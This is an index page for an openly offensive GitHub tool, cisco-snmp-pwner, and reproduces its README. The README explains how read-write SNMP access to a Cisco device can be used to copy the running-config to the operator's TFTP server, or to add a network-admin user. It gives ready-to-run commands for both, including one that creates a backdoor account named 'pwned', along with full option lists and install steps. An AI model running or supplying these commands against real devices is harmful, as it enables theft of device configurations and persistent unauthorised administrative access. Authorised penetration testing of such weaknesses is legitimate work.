Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/firefart/cisco-snmp-pwner
Tool to dump cisco device configs via snmp and/or add new users
https://github.com/firefart/cisco-snmp-pwner
cisco go golang hacking hacking-tool hacking-tools snmp snmpv2 snmpv3 tftp tftp-server
Last synced: 20 days ago
JSON representation
Tool to dump cisco device configs via snmp and/or add new users
- Host: GitHub
- URL: https://github.com/firefart/cisco-snmp-pwner
- Owner: firefart
- License: gpl-3.0
- Created: 2022-04-08T09:32:58.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2024-10-14T05:08:17.000Z (about 1 month ago)
- Last Synced: 2024-10-14T17:17:33.654Z (about 1 month ago)
- Topics: cisco, go, golang, hacking, hacking-tool, hacking-tools, snmp, snmpv2, snmpv3, tftp, tftp-server
- Language: Go
- Homepage:
- Size: 163 KB
- Stars: 10
- Watchers: 3
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: Readme.md
- License: LICENSE
Awesome Lists containing this project
README
# cisco-snmp-pwner
If you ever got access to a RW snmp access to a cisco device this tool got you covered.
It spins up a local TFTP server (you need to run it as root as it's a low port) and either dumps the `running-config` or adds a new user to it by merging the `running-config` with a custom one provided via the TFTP server.
The listen IP you need to specify needs to be accessible from the cisco device so IPs like 0.0.0.0 will not work.
## dump
This will dump the config as `dump_target_randomstring` to the current directory. The filename is printed upon executing the tool
```
sudo ./cisco-snmp-server dump --listen 10.0.0.1 --target cisco.local --version 2c --communitystring private
```### Options
```
OPTIONS:
--debug, -d enable debug output (default: false)
--listen value, -l value local ip to listen on, must be accessible by the cisco device
--target value, -t value target ip of the cisco device
--targetfile value, --tf value list of ip addresses instead of target
--timeout value timeout for SNMP operations (default: 2s)
--version value snmp version to use. Either 1, 2c or 3 (default: "2c")
--communitystring value snmp communitystring with RW permissions
--v3username value snmp v3 username
--v3authpass value snmp v3 authpass
--v3privacypass value snmp v3 privacypass
--v3authproto value snmp v3 authproto
--v3privproto value snmp v3 privproto
--help, -h show help (default: false)
```## add-user
This will add a new user with the `network-admin` role (can be overidden) to the device. Be sure to dump the device first and make sure the user does not exist, otherwise you will overwrite it and may cause some networking issues.
```
sudo ./cisco-snmp-server add-user --listen 10.0.0.1 --target cisco.local --version 2c --communitystring private --username pwned --password 'allYourCisc0AreBelongToUs$'
```### Options
```
OPTIONS:
--debug, -d enable debug output (default: false)
--listen value, -l value local ip to listen on, must be accessible by the cisco device
--target value, -t value target ip of the cisco device
--targetfile value, --tf value list of ip addresses instead of target
--timeout value timeout for SNMP operations (default: 2s)
--version value snmp version to use. Either 1, 2c or 3 (default: "2c")
--communitystring value snmp communitystring with RW permissions
--v3username value snmp v3 username
--v3authpass value snmp v3 authpass
--v3privacypass value snmp v3 privacypass
--v3authproto value snmp v3 authproto. Either SHA, SHA224, SHA256, SHA384, SHA512, MD5 or NoAuth
--v3privproto value snmp v3 privproto. Either NoPriv, DES, AES, AES192, AES256, AES192C or AES256C
--username value username of the user to add
--password value password of the user to add
--role value role of the new user (default: "network-admin")
--help, -h show help (default: false)
```## Build instructions
### Without source
- Install golang [https://go.dev/doc/install](https://go.dev/doc/install)
- `go install github.com/firefart/cisco-snmp-pwner@latest`### From source
- Install golang [https://go.dev/doc/install](https://go.dev/doc/install)
- `go get`
- `make` or `go build -o cisco-snmp-pwner`